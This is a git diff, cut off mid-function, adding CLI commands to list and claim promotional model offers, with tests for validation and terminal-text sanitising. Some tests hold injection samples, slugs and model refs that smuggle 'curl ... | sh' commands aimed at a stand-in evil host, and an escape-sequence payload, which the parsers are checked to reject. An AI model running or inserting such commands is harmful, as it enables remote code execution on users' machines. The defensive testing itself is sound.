mocks.hasAvailableAuthForProvider.mockImplementation(async () => { + vi.setSystemTime(now + 120_000); + return true; + }); + + try { + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow(/ended/); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + } finally { + vi.useRealTimers(); + } + }); + + it("refuses a promotion withdrawn after provider authentication", async () => { + const initial = makePromotion(); + mocks.fetchClawHubPromotion + .mockResolvedValueOnce(initial) + .mockResolvedValueOnce({ ...initial, active: false }); + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} }); + + await expect( + promosClaimCommand("spring-models", { apiKey: "sk-test" }, makeRuntime()), + ).rejects.toThrow(/not live/); + + expect(mocks.fetchClawHubPromotion).toHaveBeenCalledTimes(2); + // Provider auth completed before the withdrawal was observed, but no + // promotion model/default/provenance mutation may follow it. + expect(mocks.replaceConfigFile).toHaveBeenCalledTimes(1); + expect(mocks.recordPromotionClaim).not.toHaveBeenCalled(); + }); + + it("refuses actionable promotion changes after authentication", async () => { + const initial = makePromotion(); + mocks.fetchClawHubPromotion.mockResolvedValueOnce(initial).mockResolvedValueOnce( + makePromotion({ + models: [{ modelRef: "openrouter/example/model-beta", suggestedDefault: true }], + }), + ); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /changed while the claim was in progress/, + ); + + expect(mocks.fetchClawHubPromotion).toHaveBeenCalledTimes(2); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + expect(mocks.recordPromotionClaim).not.toHaveBeenCalled(); + }); + + it("runs the install path when the auth choice is not installed, even with existing auth", async () => { + // Existing env credentials must not shortcut past a required plugin install. + mocks.resolveManifestProviderAuthChoice.mockReturnValue(undefined); + mocks.resolveProviderInstallCatalogEntry.mockReturnValue({ + ...authChoice, + installSource: { + npm: { packageName: "@openclaw/openrouter-provider" }, + }, + }); + mocks.fetchClawHubPromotion.mockResolvedValue( + makePromotion({ pluginNames: ["@openclaw/openrouter-provider"] }), + ); + mocks.hasAvailableAuthForProvider.mockResolvedValue(true); + mocks.applyAuthChoiceLoadedPluginProvider.mockResolvedValue({ config: {} }); + + await promosClaimCommand("spring-models", {}, makeRuntime()); + + expect(mocks.applyAuthChoiceLoadedPluginProvider).toHaveBeenCalledWith( + expect.objectContaining({ authChoice: "openrouter-api-key" }), + ); + }); + + it("refuses to claim when the provider plugin is blocked by policy", async () => { + mocks.enablePluginInConfig.mockImplementation((cfg: unknown, pluginId: string) => ({ + config: cfg, + enabled: false, + pluginId, + reason: "denylisted", + })); + + await expect(promosClaimCommand("spring-models", {}, makeRuntime())).rejects.toThrow( + /plugin policy/, + ); + expect(mocks.replaceConfigFile).not.toHaveBeenCalled(); + }); + + it("maps 404 responses to a friendly not-found error", async () => { + const requestError = new ClawHubRequestError({ + path: "/api/v1/promotions/nope", + status: 404, + body: "not found", + }); + mocks.fetchClawHubPromotion.mockRejectedValue(requestError); + + await expect(promosClaimCommand("nope", {}, makeRuntime())).rejects.toMatchObject({ + message: expect.stringMatching(/not found or is not live/), + cause: requestError, + }); + }); +}); diff --git a/src/commands/promos/claim.ts b/src/commands/promos/claim.ts new file mode 100644 index 000000000000..357ac2c2447a --- /dev/null +++ b/src/commands/promos/claim.ts @@ -0,0 +1,441 @@ +/** Claims a ClawHub promotion: configures provider auth and registers its models. */ +import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js"; +import { hasAvailableAuthForProvider } from "../../agents/model-auth.js"; +import { formatCliCommand } from "../../cli/command-format.js"; +import { promptYesNo } from "../../cli/prompt.js"; +import { readConfigFileSnapshot, replaceConfigFile } from "../../config/config.js"; +import { formatConfigIssueLines } from "../../config/issue-format.js"; +import type { AgentModelEntryConfig } from "../../config/types.agent-defaults.js"; +import type { OpenClawConfig } from "../../config/types.openclaw.js"; +import { + ClawHubRequestError, + fetchClawHubPromotion, + type ClawHubPromotion, +} from "../../infra/clawhub.js"; +import { markPromotionSlugsNotified, recordPromotionClaim } from "../../infra/promotions-feed.js"; +import { enablePluginInConfig } from "../../plugins/enable.js"; +import { loadManifestMetadataSnapshot } from "../../plugins/manifest-contract-eligibility.js"; +import { applyAuthChoiceLoadedPluginProvider } from "../../plugins/provider-auth-choice.js"; +import { + resolveManifestProviderAuthChoice, + type ProviderAuthChoiceMetadata, +} from "../../plugins/provider-auth-choices.js"; +import { + resolveProviderInstallCatalogEntry, + type ProviderInstallCatalogEntry, +} from "../../plugins/provider-install-catalog.js"; +import type { RuntimeEnv } from "../../runtime.js"; +import { createClackPrompter } from "../../wizard/clack-prompter.js"; +import { repairCodexRuntimePluginInstallForModelSelection } from "../codex-runtime-plugin-install.js"; +import { repairCopilotRuntimePluginInstallForModelSelection } from "../copilot-runtime-plugin-install.js"; +import { normalizeAlias } from "../models/alias-name.js"; +import { + applyDefaultModelPrimaryUpdate, + updateConfig, + upsertCanonicalModelConfigEntry, +} from "../models/shared.js"; + +export type PromosClaimOptions = { + apiKey?: string; + setDefault?: boolean; +}; + +// Promo models must belong to the promotion's declared provider. This keeps the +// payload declarative: a record can never register models under a provider the +// user did not just validate/authenticate against. +function resolvePromotionModelTarget(promotion: ClawHubPromotion, modelRef: string) { + const provider = promotion.provider ?? ""; + const prefix = `${provider}/`; + if (!modelRef.startsWith(prefix) || modelRef.length <= prefix.length) { + throw new Error( + `Promotion "${promotion.slug}" lists model "${modelRef}" outside its provider "${provider}"; refusing to configure it.`, + ); + } + return { provider, model: modelRef.slice(prefix.length) }; +} + +async function fetchLivePromotion(slug: string): Promise { + try { + return await fetchClawHubPromotion({ slug }); + } catch (error) { + if (error instanceof ClawHubRequestError && error.status === 404) { + throw new Error( + `Promotion "${slug}" was not found or is not live. See ${formatCliCommand("openclaw promos list")}.`, + { cause: error }, + ); + } + throw error; + } +} + +// Enforce the window client-side; the server-provided `active` flag is only an +// additional signal, never a bypass — a stale or hostile payload must not +// register expired or unlaunched offers. +function requireLiveWindow(promotion: ClawHubPromotion) { + const now = Date.now(); + if (now > promotion.endsAt) { + throw new Error( + `Promotion "${promotion.slug}" ended on ${new Date(promotion.endsAt).toLocaleDateString()}.`, + ); + } + if (now < promotion.startsAt || !promotion.active) { + throw new Error(`Promotion "${promotion.slug}" is not live yet.`); + } +} + +function promotionClaimContract(promotion: ClawHubPromotion): string { + return JSON.stringify({ + slug: promotion.slug, + startsAt: promotion.startsAt, + endsAt: promotion.endsAt, + provider: promotion.provider ?? null, + authChoiceId: promotion.authChoiceId ?? null, + pluginNames: [...(promotion.pluginNames ?? [])].toSorted(), + models: promotion.models.map((model) => ({ + modelRef: model.modelRef, + alias: model.alias ?? null, + suggestedDefault: Boolean(model.suggestedDefault), + })), + }); +} + +function requireUnchangedClaimContract( + initial: ClawHubPromotion, + revalidated: ClawHubPromotion, +): void { + if (promotionClaimContract(initial) === promotionClaimContract(revalidated)) { + return; + } + throw new Error( + `Promotion "${initial.slug}" changed while the claim was in progress; no promotional models were added. Any provider credentials you just configured were kept. Run ${formatCliCommand("openclaw promos list")} and retry.`, + ); +} + +// Mirrors applyAuthChoiceLoadedPluginProvider's own resolution order: loaded +// plugin manifests (bundled/installed providers) first, then the install +// catalog for providers that would need a plugin install. The source matters: +// only manifest-resolved choices may take the credential-reuse shortcut, +// because install-catalog choices still need their plugin installed. +type ResolvedAuthChoice = { + entry: ProviderAuthChoiceMetadata; + installed: boolean; + packageNames: string[]; +}; + +function resolveManifestPluginPackageNames(pluginId: string, cfg: OpenClawConfig): string[] { + const snapshot = loadManifestMetadataSnapshot({ config: cfg }); + return [ + ...new Set( + snapshot.manifestRegistry.plugins + .filter((plugin) => plugin.id === pluginId) + .map((plugin) => plugin.packageName?.trim()) + .filter((name): name is string => Boolean(name)), + ), + ]; +} + +function resolveCatalogPluginPackageNames(entry: ProviderInstallCatalogEntry): string[] { + const npmPackage = + entry.installSource?.npm?.expectedPackageName ?? entry.installSource?.npm?.packageName; + return [ + ...new Set( + [npmPackage, entry.installSource?.clawhub?.packageName].filter((name): name is string => + Boolean(name), + ), + ), + ]; +} + +function resolveAuthChoice( + promotion: ClawHubPromotion, + provider: string, + cfg: OpenClawConfig, +): ResolvedAuthChoice | undefined { + const authChoiceId = promotion.authChoiceId?.trim(); + if (!authChoiceId) { + return undefined; + } + const manifestEntry = resolveManifestProviderAuthChoice(authChoiceId, { + config: cfg, + includeUntrustedWorkspacePlugins: false, + }); + const catalogEntry = manifestEntry + ? undefined + : resolveProviderInstallCatalogEntry(authChoiceId, { + config: cfg, + includeUntrustedWorkspacePlugins: false, + }); + const entry = manifestEntry ?? catalogEntry; + if (!entry) { + throw new Error( + `Promotion "${promotion.slug}" requires auth choice "${authChoiceId}", which this OpenClaw version does not know. Update OpenClaw and retry.`, + ); + } + if (entry.providerId !== provider) { + throw new Error( + `Promotion "${promotion.slug}" declares provider "${provider}" but its auth choice belongs to "${entry.providerId}"; refusing to configure it.`, + ); + } + const packageNames = manifestEntry + ? resolveManifestPluginPackageNames(manifestEntry.pluginId, cfg) + : catalogEntry + ? resolveCatalogPluginPackageNames(catalogEntry) + : []; + return { + entry, + installed: Boolean(manifestEntry), + packageNames, + }; +} + +function requirePromotionPlugins( + promotion: ClawHubPromotion, + authChoice: ResolvedAuthChoice | undefined, +): void { + const declared = promotion.pluginNames ?? []; + if (declared.length === 0) { + return; + } + const knownPackages = new Set(authChoice?.packageNames ?? []); + const unsupported = declared.filter((name) => !knownPackages.has(name)); + if (unsupported.length === 0) { + return; + } + const authChoiceLabel = authChoice + ? `auth choice "${authChoice.entry.choiceId}"` + : "a missing auth choice"; + throw new Error( + `Promotion "${promotion.slug}" requires plugin package "${unsupported[0]}", but ${authChoiceLabel} does not provide it in this OpenClaw version. Update OpenClaw and retry.`, + ); +} + +type ConfigSnapshot = Awaited>; + +async function readValidConfigSnapshot(): Promise { + const snapshot = await readConfigFileSnapshot(); + if (!snapshot.valid) { + const issues = formatConfigIssueLines(snapshot.issues, "-").join("\n"); + throw new Error(`Invalid config at ${snapshot.path}\n${issues}`); + } + return snapshot; +} + +async function ensureProviderAuth(params: { + promotion: ClawHubPromotion; + provider: string; + authChoice: ResolvedAuthChoice | undefined; + snapshot: ConfigSnapshot; + opts: PromosClaimOptions; + runtime: RuntimeEnv; +}): Promise { + const { promotion, provider, authChoice, snapshot, opts, runtime } = params; + const catalogEntry = authChoice?.entry; + const runtimeConfig = snapshot.runtimeConfig ?? snapshot.config; + const apiKey = opts.apiKey?.trim(); + // Any working provider auth is deliberately sufficient: the promotion's + // authChoiceId describes how to set up auth when none exists, not an + // exclusivity requirement. An explicit --api-key overrides reuse because the + // user asked for that specific key to be stored. Install-catalog choices + // never take the shortcut: their plugin is not installed yet, so the apply + // flow must still run to install it. + const reuseAllowed = !apiKey && (authChoice?.installed ?? true); + if (reuseAllowed && (await hasAvailableAuthForProvider({ provider, cfg: runtimeConfig }))) { + runtime.log(`Using your existing ${provider} credentials.`); + return; + } + if (!catalogEntry) { + throw new Error( + `No credentials configured for provider "${provider}". Add one with ${formatCliCommand("openclaw models auth add")} and retry.`, + ); + } + if (promotion.signupUrl) { + runtime.log(`Get a free key for this promotion: ${sanitizeTerminalText(promotion.signupUrl)}`); + } + if (apiKey && !catalogEntry.optionKey) { + throw new Error( + `Auth choice "${catalogEntry.choiceId}" does not accept --api-key; run without it to authenticate interactively.`, + ); + } + const applied = await applyAuthChoiceLoadedPluginProvider({ + authChoice: catalogEntry.choiceId, + config: structuredClone(snapshot.sourceConfig ?? snapshot.config) as OpenClawConfig, + prompter: createClackPrompter(), + runtime, + setDefaultModel: false, + opts: apiKey && catalogEntry.optionKey ? { [catalogEntry.optionKey]: apiKey } : undefined, + }); + // The apply flow can return success-shaped results without usable auth + // (cancelled retrySelection, disabled/unresolvable plugin). Revalidate + // before persisting so a claim never registers models the user cannot run. + const authCompleted = + applied && + !applied.retrySelection && + (await hasAvailableAuthForProvider({ provider, cfg: applied.config })); + if (!applied || !authCompleted) { + throw new Error(`Authentication for "${provider}" was not completed; nothing was changed.`); + } + await replaceConfigFile({ nextConfig: applied.config, baseHash: snapshot.hash }); +} + +function aliasTaken(models: Record, alias: string): boolean { + const lowered = alias.toLowerCase(); + return Object.values(models).some((entry) => entry.alias?.toLowerCase() === lowered); +} + +export async function promosClaimCommand( + slugRaw: string, + opts: PromosClaimOptions, + runtime: RuntimeEnv, +) { + const slug = slugRaw.trim().toLowerCase(); + if (!slug) { + throw new Error("Promotion slug required."); + } + let promotion = await fetchLivePromotion(slug); + requireLiveWindow(promotion); + + const provider = promotion.provider?.trim(); + if (!provider) { + throw new Error( + `Promotion "${slug}" does not declare a provider; it cannot be claimed from the CLI.`, + ); + } + // Validate the declarative payload against the local catalog before any action. + for (const model of promotion.models) { + resolvePromotionModelTarget(promotion, model.modelRef); + } + const snapshot = await readValidConfigSnapshot(); + const authChoice = resolveAuthChoice( + promotion, + provider, + snapshot.runtimeConfig ?? snapshot.config, + ); + requirePromotionPlugins(promotion, authChoice); + + await ensureProviderAuth({ promotion, provider, authChoice, snapshot, opts, runtime }); + + const suggested = promotion.models.find((model) => model.suggestedDefault) ?? promotion.models[0]; + let makeDefault = Boolean(opts.setDefault && suggested); + if (!makeDefault && suggested && process.stdin.isTTY) { + makeDefault = await promptYesNo(`Set ${suggested.modelRef} as your default model?`, false); + } + + const revalidatedPromotion = await fetchLivePromotion(slug); + requireLiveWindow(revalidatedPromotion); + requireUnchangedClaimContract(promotion, revalidatedPromotion); + promotion = revalidatedPromotion; + + const registered: string[] = []; + const skippedAliases: string[] = []; + const invalidAliases: string[] = []; + const updated = await updateConfig((cfg, context) => { + let base = cfg; + // The credential-reuse path skips the auth flow, which is where plugin + // enablement normally happens. Enable (or refuse) the provider plugin here + // so a claim never registers models the runtime cannot load under the + // user's plugin policy. Idempotent when the auth flow already enabled it. + if (authChoice) { + const enabled = enablePluginInConfig(base, authChoice.entry.pluginId); + if (!enabled.enabled) { + throw new Error( + `The "${authChoice.entry.pluginId}" plugin is blocked by your plugin policy (${enabled.reason ?? "disabled"}); cannot claim this promotion.`, + ); + } + base = enabled.config; + } + const models = { + ...base.agents?.defaults?.models, + } as Record; + for (const model of promotion.models) { + const target = resolvePromotionModelTarget(promotion, model.modelRef); + const key = upsertCanonicalModelConfigEntry(models, target); + // Aliases are remote text persisted into config and rendered by other + // CLI surfaces; hold them to the same contract as `models aliases add`. + let alias: string | undefined; + try { + alias = model.alias ? normalizeAlias(model.alias) : undefined; + } catch { + invalidAliases.push(model.alias ?? ""); + } + if (alias && !models[key]?.alias) { + if (aliasTaken(models, alias)) { + skippedAliases.push(alias); + } else { + models[key] = { ...models[key], alias }; + } + } + registered.push(key); + } + let next: OpenClawConfig = { + ...base, + agents: { + ...base.agents, + defaults: { + ...base.agents?.defaults, + models, + }, + }, + }; + if (makeDefault && suggested) { + next = applyDefaultModelPrimaryUpdate({ + cfg: next, + resolveCfg: context.runtimeConfig, + modelRaw: suggested.modelRef, + field: "model", + }); + } + return next; + }); + + // Config entries carry no promo marker, so provenance lives in the state + // DB — it powers the `promo`/`promo ended` annotations in `models list` + // and future cleanup. Best-effort by design: never fails the claim. + recordPromotionClaim({ + slug: promotion.slug, + provider, + modelKeys: [...new Set(registered)], + endsAtMs: promotion.endsAt, + claimedAtMs: Date.now(), + }); + markPromotionSlugsNotified([promotion.slug]); + + if (makeDefault && suggested) { + // `models set` repairs provider runtime plugin installs (Codex/Copilot) + // after a default change; a promo-selected default needs the same repair + // or an openai/* default can fail at execution time. + const repaired = await repairCodexRuntimePluginInstallForModelSelection({ + cfg: updated, + model: suggested.modelRef, + }); + const copilotRepaired = await repairCopilotRuntimePluginInstallForModelSelection({ + cfg: updated, + model: suggested.modelRef, + }); + for (const warning of [...repaired.warnings, ...copilotRepaired.warnings]) { + runtime.error?.(warning); + } + } + + runtime.log(`Claimed "${sanitizeTerminalText(promotion.title)}".`); + for (const key of registered) { + runtime.log(` Added model: ${sanitizeTerminalText(key)}`); + } + for (const alias of skippedAliases) { + runtime.log( + ` Alias "${sanitizeTerminalText(alias)}" is already in use; kept your existing alias.`, + ); + } + for (const alias of invalidAliases) { + runtime.log(` Alias "${sanitizeTerminalText(alias)}" is not a valid model alias; skipped it.`); + } + if (makeDefault && suggested) { + runtime.log(` Default model set to ${sanitizeTerminalText(suggested.modelRef)}.`); + runtime.log( + ` Revert anytime with ${formatCliCommand("openclaw models set ")}.`, + ); + } else if (suggested) { + runtime.log( + ` Try it: ${formatCliCommand(`openclaw models set ${suggested.modelRef}`)} (promotion ends ${new Date(promotion.endsAt).toLocaleDateString()}).`, + ); + } +} diff --git a/src/commands/promos/list.test.ts b/src/commands/promos/list.test.ts new file mode 100644 index 000000000000..24f71c3407f2 --- /dev/null +++ b/src/commands/promos/list.test.ts @@ -0,0 +1,119 @@ +import { beforeEach, describe, expect, it, vi } from "vitest"; +import type { RuntimeEnv } from "../../runtime.js"; + +const mocks = vi.hoisted(() => ({ + fetchClawHubPromotions: vi.fn(), +})); + +vi.mock("../../infra/clawhub.js", async () => { + const actual = + await vi.importActual("../../infra/clawhub.js"); + return { + ...actual, + fetchClawHubPromotions: mocks.fetchClawHubPromotions, + }; +}); + +const { ClawHubRequestError } = await import("../../infra/clawhub.js"); +const { promosListCommand } = await import("./list.js"); + +function makeRuntime() { + const lines: string[] = []; + const runtime = { + log: vi.fn((line: string) => lines.push(line)), + error: vi.fn(), + exit: vi.fn(), + } as unknown as RuntimeEnv; + return { runtime, lines }; +} + +const promotion = { + slug: "spring-models", + title: "Free Example models", + blurb: "A limited-time offer.", + sponsor: "Example", + status: "active", + active: true, + startsAt: Date.now() - 1_000, + endsAt: Date.now() + 3 * 86_400_000, + provider: "openrouter", + models: [ + { modelRef: "openrouter/example/model-alpha", alias: "Model Alpha", suggestedDefault: true }, + ], +}; + +beforeEach(() => { + vi.clearAllMocks(); +}); + +describe("promosListCommand", () => { + it("prints promotions with models and the claim command", async () => { + mocks.fetchClawHubPromotions.mockResolvedValue([promotion]); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({}, runtime); + + const output = lines.join("\n"); + expect(output).toContain("Free Example models — Example"); + expect(output).toContain("openrouter/example/model-alpha (Model Alpha) — suggested default"); + expect(output).toContain("openclaw promos claim spring-models"); + }); + + it("prints an empty-state line when nothing is live", async () => { + mocks.fetchClawHubPromotions.mockResolvedValue([]); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({}, runtime); + + expect(lines.join("\n")).toContain("No active promotions"); + }); + + it("reports a friendly unavailable state when the promotions route is not deployed", async () => { + mocks.fetchClawHubPromotions.mockRejectedValue( + new ClawHubRequestError({ path: "/api/v1/promotions", status: 404, body: "not found" }), + ); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({}, runtime); + + expect(lines).toEqual(["Promotions are not available from ClawHub yet."]); + }); + + it("preserves the JSON shape when the promotions route is not deployed", async () => { + mocks.fetchClawHubPromotions.mockRejectedValue( + new ClawHubRequestError({ path: "/api/v1/promotions", status: 404, body: "not found" }), + ); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({ json: true }, runtime); + + expect(JSON.parse(lines.join("\n"))).toEqual({ promotions: [] }); + }); + + it("strips terminal control sequences from remote promotion text", async () => { + mocks.fetchClawHubPromotions.mockResolvedValue([ + { + ...promotion, + title: "Free\u001b[31m models", + blurb: "Offer\u001b]0;pwned\u0007 text", + }, + ]); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({}, runtime); + + const output = lines.join("\n"); + expect(output).not.toContain("\u001b"); + expect(output).toContain("Free"); + }); + + it("emits JSON with --json", async () => { + mocks.fetchClawHubPromotions.mockResolvedValue([promotion]); + const { runtime, lines } = makeRuntime(); + + await promosListCommand({ json: true }, runtime); + + const parsed = JSON.parse(lines.join("\n")) as { promotions: Array<{ slug: string }> }; + expect(parsed.promotions[0]?.slug).toBe("spring-models"); + }); +}); diff --git a/src/commands/promos/list.ts b/src/commands/promos/list.ts new file mode 100644 index 000000000000..ef388e1c66ef --- /dev/null +++ b/src/commands/promos/list.ts @@ -0,0 +1,60 @@ +/** Lists active ClawHub promotional model offers. */ +import { sanitizeTerminalText } from "../../../packages/terminal-core/src/safe-text.js"; +import { formatCliCommand } from "../../cli/command-format.js"; +import { + ClawHubRequestError, + fetchClawHubPromotions, + type ClawHubPromotion, +} from "../../infra/clawhub.js"; +import { markPromotionSlugsNotified } from "../../infra/promotions-feed.js"; +import type { RuntimeEnv } from "../../runtime.js"; + +function formatWindowEnd(promotion: ClawHubPromotion): string { + const daysLeft = Math.max(0, Math.ceil((promotion.endsAt - Date.now()) / 86_400_000)); + if (daysLeft === 0) { + return "ends today"; + } + return daysLeft === 1 ? "1 day left" : `${daysLeft} days left`; +} + +export async function promosListCommand(opts: { json?: boolean }, runtime: RuntimeEnv) { + let promotions: ClawHubPromotion[]; + try { + promotions = await fetchClawHubPromotions(); + } catch (error) { + if (!(error instanceof ClawHubRequestError) || error.status !== 404) { + throw error; + } + runtime.log( + opts.json + ? JSON.stringify({ promotions: [] }, null, 2) + : "Promotions are not available from ClawHub yet.", + ); + return; + } + // The user has now seen these offers; suppress the one-time passive + // discovery notice for them (`models list` reads the same markers). + markPromotionSlugsNotified(promotions.map((promotion) => promotion.slug)); + if (opts.json) { + runtime.log(JSON.stringify({ promotions }, null, 2)); + return; + } + if (promotions.length === 0) { + runtime.log("No active promotions right now."); + return; + } + // Promotion text is remote content; strip control sequences before it can + // reach an interactive terminal. + const safe = sanitizeTerminalText; + for (const promotion of promotions) { + const sponsor = promotion.sponsor ? ` — ${safe(promotion.sponsor)}` : ""; + runtime.log(`${safe(promotion.title)}${sponsor} (${formatWindowEnd(promotion)})`); + runtime.log(` ${safe(promotion.blurb)}`); + for (const model of promotion.models) { + const alias = model.alias ? ` (${safe(model.alias)})` : ""; + const suggested = model.suggestedDefault ? " — suggested default" : ""; + runtime.log(` · ${safe(model.modelRef)}${alias}${suggested}`); + } + runtime.log(` Claim: ${formatCliCommand(`openclaw promos claim ${safe(promotion.slug)}`)}`); + } +} diff --git a/src/infra/clawhub.promotions.test.ts b/src/infra/clawhub.promotions.test.ts new file mode 100644 index 000000000000..3752a39c774e --- /dev/null +++ b/src/infra/clawhub.promotions.test.ts @@ -0,0 +1,193 @@ +import { describe, expect, it, vi } from "vitest"; +import { + fetchClawHubPromotion, + fetchClawHubPromotions, + fetchClawHubPromotionsFeed, + parseClawHubPromotion, + parseClawHubPromotionsFeed, +} from "./clawhub.js"; + +const validPromotion = { + slug: "spring-models", + title: "Free Example models", + blurb: "A limited-time offer.", + status: "active", + active: true, + startsAt: 100, + endsAt: 200, + provider: "openrouter", + authChoiceId: "openrouter-api-key", + models: [{ modelRef: "openrouter/example/model-alpha", alias: "Alpha", suggestedDefault: true }], + signupUrl: "https://signup.example.com", +}; + +function jsonResponse(body: unknown, status = 200, headers: Record = {}) { + return new Response(JSON.stringify(body), { + status, + headers: { "content-type": "application/json", ...headers }, + }); +} + +describe("parseClawHubPromotion", () => { + it("parses a full promotion payload", () => { + const parsed = parseClawHubPromotion({ + ...validPromotion, + pluginNames: ["@openclaw/openrouter-provider"], + }); + expect(parsed.slug).toBe("spring-models"); + expect(parsed.models[0]?.suggestedDefault).toBe(true); + expect(parsed.pluginNames).toEqual(["@openclaw/openrouter-provider"]); + }); + + it("rejects payloads without models", () => { + expect(() => parseClawHubPromotion({ ...validPromotion, models: [] })).toThrow(/models/); + }); + + it("rejects slugs outside ClawHub's slug contract", () => { + // Slugs are echoed into copy-paste commands; shell metacharacters must fail parsing. + expect(() => + parseClawHubPromotion({ ...validPromotion, slug: "deal; curl evil.sh|sh" }), + ).toThrow(/slug/); + expect(() => parseClawHubPromotion({ ...validPromotion, slug: "UPPER-case" })).toThrow(/slug/); + }); + + it("rejects model refs with shell metacharacters", () => { + expect(() => + parseClawHubPromotion({ + ...validPromotion, + models: [{ modelRef: "openrouter/foo; curl https://evil.example/sh | sh" }], + }), + ).toThrow(/unsupported characters/); + }); + + it("rejects non-string model refs", () => { + expect(() => parseClawHubPromotion({ ...validPromotion, models: [{ modelRef: 42 }] })).toThrow( + /modelRef/, + ); + }); + + it("rejects non-numeric windows", () => { + expect(() => parseClawHubPromotion({ ...validPromotion, endsAt: "soon" })).toThrow(/endsAt/); + }); + + it("rejects inverted promotion windows", () => { + expect(() => + parseClawHubPromotion({ + ...validPromotion, + startsAt: 200, + endsAt: 200, + }), + ).toThrow(/window/); + }); + + it("rejects plugin values that are not package names", () => { + expect(() => + parseClawHubPromotion({ + ...validPromotion, + pluginNames: ["@openclaw/openrouter-provider@latest"], + }), + ).toThrow(/pluginNames/); + }); +}); + +describe("promotion fetches", () => { + it("fetches and validates the active promotions list", async () => { + const fetchImpl = vi.fn(async (..._args: unknown[]) => + jsonResponse({ promotions: [validPromotion] }), + ); + const promotions = await fetchClawHubPromotions({ fetchImpl }); + expect(promotions).toHaveLength(1); + expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/promotions"); + }); + + it("rejects a list response without a promotions array", async () => { + const fetchImpl = vi.fn(async (..._args: unknown[]) => jsonResponse({ nope: true })); + await expect(fetchClawHubPromotions({ fetchImpl })).rejects.toThrow(/promotions array/); + }); + + it("fetches a single promotion by slug", async () => { + const fetchImpl = vi.fn(async (..._args: unknown[]) => jsonResponse(validPromotion)); + const promotion = await fetchClawHubPromotion({ slug: "spring-models", fetchImpl }); + expect(promotion.title).toBe("Free Example models"); + expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/promotions/spring-models"); + }); +}); + +const { status: _status, active: _active, ...feedEntryFields } = validPromotion; +const validFeed = { + schemaVersion: 1, + id: "clawhub-promotions", + generatedAt: "2026-07-05T00:00:00.000Z", + sequence: 3, + expiresAt: "2026-07-06T00:00:00.000Z", + entries: [{ type: "promotion", ...feedEntryFields }], +}; + +describe("parseClawHubPromotionsFeed", () => { + it("parses a valid feed snapshot", () => { + const feed = parseClawHubPromotionsFeed(validFeed); + expect(feed.sequence).toBe(3); + expect(feed.entries[0]?.slug).toBe("spring-models"); + expect(feed.entries[0]?.models[0]?.modelRef).toBe("openrouter/example/model-alpha"); + }); + + it("rejects wrong feed ids and schema versions", () => { + expect(() => parseClawHubPromotionsFeed({ ...validFeed, id: "other-feed" })).toThrow(/feed id/); + expect(() => parseClawHubPromotionsFeed({ ...validFeed, schemaVersion: 2 })).toThrow( + /schema version/, + ); + }); + + it("rejects malformed sequences, timestamps, and entry types", () => { + expect(() => parseClawHubPromotionsFeed({ ...validFeed, sequence: -1 })).toThrow(/sequence/); + expect(() => parseClawHubPromotionsFeed({ ...validFeed, generatedAt: "not-a-date" })).toThrow( + /ISO dates/, + ); + expect(() => + parseClawHubPromotionsFeed({ + ...validFeed, + entries: [{ type: "advert", ...feedEntryFields }], + }), + ).toThrow(/entry type/); + expect(() => + parseClawHubPromotionsFeed({ + ...validFeed, + expiresAt: "2026-07-04T00:00:00.000Z", + }), + ).toThrow(/expiresAt/); + }); + + it("holds feed entries to the promotion payload contracts", () => { + expect(() => + parseClawHubPromotionsFeed({ + ...validFeed, + entries: [{ type: "promotion", ...feedEntryFields, models: [{ modelRef: "bad ref; rm" }] }], + }), + ).toThrow(/modelRef/); + }); +}); + +describe("fetchClawHubPromotionsFeed", () => { + it("fetches without auth, returns the parsed feed and etag", async () => { + const fetchImpl = vi.fn(async (..._args: unknown[]) => + jsonResponse(validFeed, 200, { etag: '"seq-3"' }), + ); + const result = await fetchClawHubPromotionsFeed({ fetchImpl }); + expect(result.status).toBe("ok"); + if (result.status === "ok") { + expect(result.feed.sequence).toBe(3); + expect(result.etag).toBe('"seq-3"'); + } + expect(String(fetchImpl.mock.calls[0]?.[0])).toContain("/api/v1/feeds/promotions"); + const init = fetchImpl.mock.calls[0]?.[1] as RequestInit; + expect(new Headers(init?.headers).get("authorization")).toBeNull(); + }); + + it("sends If-None-Match and maps 304 to not-modified", async () => { + const fetchImpl = vi.fn(async (..._args: unknown[]) => new Response(null, { status: 304 })); + const result = await fetchClawHubPromotionsFeed({ etag: '"seq-3"', fetchImpl }); + expect(result.status).toBe("not-modified"); + const init = fetchImpl.mock.calls[0]?.[1] as RequestInit; + expect(new Headers(init?.headers).get("if-none-match")).toBe('"seq-3"'); + }); +}); diff --git a/src/infra/clawhub.ts b/src/infra/clawhub.ts index e056cf160b0c..2f97af267f52 100644 --- a/src/infra/clawhub.ts +++ b/src/infra/clawhub.ts @@ -11,6 +11,7 @@ import { import { normalizeStringEntries } from "@openclaw/normalization-core/string-normalization"; import { sha256Base64, sha256Hex as digestSha256Hex } from "./crypto-digest.js"; import { readResponseTextSnippet, readResponseWithLimit } from "./http-body.js"; +import { parseRegistryNpmSpec } from "./npm-registry-spec.js"; import { parseStrictNonNegativeInteger, parseStrictPositiveInteger, @@ -420,6 +421,7 @@ type ClawHubRequestParams = { search?: Record; fetchImpl?: FetchLike; skipAuth?: boolean; + headers?: Record; }; type ClawHubConfigLike = { @@ -702,6 +704,7 @@ async function clawhubRequest( const headers = { ...(token ? { Authorization: `Bearer ${token}` } : {}), ...(params.json === undefined ? {} : { "Content-Type": "application/json" }), + ...params.headers, }; const init: RequestInit = { signal: controller.signal }; if (params.method) { @@ -875,6 +878,57 @@ function requiredStringArrayField( throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a string array.`); } +function requiredStringField( + source: Record, + field: string, + context: string, +): string { + const value = source[field]; + if (typeof value === "string" && value.length > 0) { + return value; + } + throw new Error(`Malformed ClawHub ${context}: expected ${field} to be a non-empty string.`); +} + +function requiredNumberField( + source: Record, + field: string, + context: string, +): number { + const value = source[field]; + if (typeof value === "number" && Number.isFinite(value)) { + return value; + } + throw new 